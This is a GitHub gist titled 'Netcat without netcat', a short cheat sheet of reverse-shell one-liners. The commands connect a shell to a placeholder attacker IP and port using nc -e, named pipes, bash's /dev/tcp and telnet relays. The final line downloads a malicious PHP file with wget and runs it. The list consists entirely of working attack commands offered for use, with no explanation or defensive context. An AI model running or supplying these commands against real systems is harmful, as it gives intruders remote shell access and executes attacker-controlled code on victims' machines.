Skip to content

Instantly share code, notes, and snippets.

@sckalath
Last active May 3, 2022 16:32
Show Gist options
  • Star 5 You must be signed in to star a gist
  • Fork 4 You must be signed in to fork a gist
  • Save sckalath/89590ef81557f3a87ef0 to your computer and use it in GitHub Desktop.
Save sckalath/89590ef81557f3a87ef0 to your computer and use it in GitHub Desktop.
Netcat without netcat
#1
nc <attacker_ip> <port> -e /bin/bash
#2
mknod backpipe p; nc <attacker_ip> <port> 0<backpipe | /bin/bash 1>backpipe
#3
/bin/bash -i > /dev/tcp/<attacker_ip>/<port> 0<&1 2>&1
#4
mknod backpipe p; telnet <attacker_ip> <port> 0<backpipe | /bin/bash 1>backpipe
#5
telnet <attacker_ip> <1st_port> | /bin/bash | telnet <attacker_ip> <2nd_port>
#7
wget -O /tmp/bd.php <url_to_malicious_file> && php -f /tmp/bd.php
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment